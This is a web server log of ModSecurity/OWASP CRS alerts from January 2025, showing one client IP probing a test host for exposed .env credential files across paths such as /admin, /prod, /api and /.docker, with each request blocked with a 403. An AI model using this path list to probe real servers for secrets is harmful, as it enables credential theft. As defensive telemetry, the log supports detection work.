[Tue Jan 21 15:15:53.925382 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "Z4-sGfPXyjfVauJVJ2RwKwAAAA4"]
[Tue Jan 21 15:15:56.379438 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "Z4-sHNP2g1a8O8tMN8i_0AAAAA8"]
[Tue Jan 21 15:15:56.380015 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "Z4-sHNP2g1a8O8tMN8i_0AAAAA8"]
[Tue Jan 21 15:15:56.380540 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "Z4-sHNP2g1a8O8tMN8i_0AAAAA8"]
[Tue Jan 21 15:15:56.450617 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "Z4-sHPPXyjfVauJVJ2RwLAAAAA4"]
[Tue Jan 21 15:15:56.451021 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "Z4-sHPPXyjfVauJVJ2RwLAAAAA4"]
[Tue Jan 21 15:15:56.451526 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "Z4-sHPPXyjfVauJVJ2RwLAAAAA4"]
[Tue Jan 21 15:15:59.031271 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "Z4-sH9P2g1a8O8tMN8i_0QAAAA8"]
[Tue Jan 21 15:15:59.031686 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "Z4-sH9P2g1a8O8tMN8i_0QAAAA8"]
[Tue Jan 21 15:15:59.032821 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "Z4-sH9P2g1a8O8tMN8i_0QAAAA8"]
[Tue Jan 21 15:15:59.079991 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "Z4-sH_PXyjfVauJVJ2RwLQAAAA4"]
[Tue Jan 21 15:15:59.080177 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "Z4-sH_PXyjfVauJVJ2RwLQAAAA4"]
[Tue Jan 21 15:15:59.080370 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "Z4-sH_PXyjfVauJVJ2RwLQAAAA4"]
[Tue Jan 21 15:16:01.523294 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z4-sIdP2g1a8O8tMN8i_0gAAAA8"]
[Tue Jan 21 15:16:01.523582 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z4-sIdP2g1a8O8tMN8i_0gAAAA8"]
[Tue Jan 21 15:16:01.523868 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z4-sIdP2g1a8O8tMN8i_0gAAAA8"]
[Tue Jan 21 15:16:01.642784 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z4-sIfPXyjfVauJVJ2RwLgAAAA4"]
[Tue Jan 21 15:16:01.643007 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z4-sIfPXyjfVauJVJ2RwLgAAAA4"]
[Tue Jan 21 15:16:01.643242 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z4-sIfPXyjfVauJVJ2RwLgAAAA4"]
[Tue Jan 21 15:16:04.078483 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Matched phrase ".docker/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/.env"] [unique_id "Z4-sJNP2g1a8O8tMN8i_0wAAAA8"]
[Tue Jan 21 15:16:04.078914 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/.env"] [unique_id "Z4-sJNP2g1a8O8tMN8i_0wAAAA8"]
[Tue Jan 21 15:16:04.079398 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/.env"] [unique_id "Z4-sJNP2g1a8O8tMN8i_0wAAAA8"]
[Tue Jan 21 15:16:04.196398 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Matched phrase ".docker/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/.env"] [unique_id "Z4-sJPPXyjfVauJVJ2RwLwAAAA4"]
[Tue Jan 21 15:16:04.196821 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/.env"] [unique_id "Z4-sJPPXyjfVauJVJ2RwLwAAAA4"]
[Tue Jan 21 15:16:04.197274 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/.env"] [unique_id "Z4-sJPPXyjfVauJVJ2RwLwAAAA4"]
[Tue Jan 21 15:16:06.544022 2025] [authz_core:error] [pid 621519] [client 193.41.206.36:42852] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Tue Jan 21 15:16:06.672156 2025] [authz_core:error] [pid 621518] [client 193.41.206.36:42856] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Tue Jan 21 15:16:09.366465 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "Z4-sKdP2g1a8O8tMN8i_1QAAAA8"]
[Tue Jan 21 15:16:09.366889 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "Z4-sKdP2g1a8O8tMN8i_1QAAAA8"]
[Tue Jan 21 15:16:09.367344 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "Z4-sKdP2g1a8O8tMN8i_1QAAAA8"]
[Tue Jan 21 15:16:09.385306 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "Z4-sKfPXyjfVauJVJ2RwMQAAAA4"]
[Tue Jan 21 15:16:09.385800 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "Z4-sKfPXyjfVauJVJ2RwMQAAAA4"]
[Tue Jan 21 15:16:09.386344 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "Z4-sKfPXyjfVauJVJ2RwMQAAAA4"]
[Tue Jan 21 15:16:12.021483 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "Z4-sLPPXyjfVauJVJ2RwMgAAAA4"]
[Tue Jan 21 15:16:12.021918 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "Z4-sLPPXyjfVauJVJ2RwMgAAAA4"]
[Tue Jan 21 15:16:12.022413 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "Z4-sLPPXyjfVauJVJ2RwMgAAAA4"]
[Tue Jan 21 15:16:12.163686 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "Z4-sLNP2g1a8O8tMN8i_1gAAAA8"]
[Tue Jan 21 15:16:12.164077 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "Z4-sLNP2g1a8O8tMN8i_1gAAAA8"]
[Tue Jan 21 15:16:12.164555 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "Z4-sLNP2g1a8O8tMN8i_1gAAAA8"]
[Tue Jan 21 15:16:14.453324 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /local/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "Z4-sLvPXyjfVauJVJ2RwMwAAAA4"]
[Tue Jan 21 15:16:14.453720 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "Z4-sLvPXyjfVauJVJ2RwMwAAAA4"]
[Tue Jan 21 15:16:14.454220 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "Z4-sLvPXyjfVauJVJ2RwMwAAAA4"]
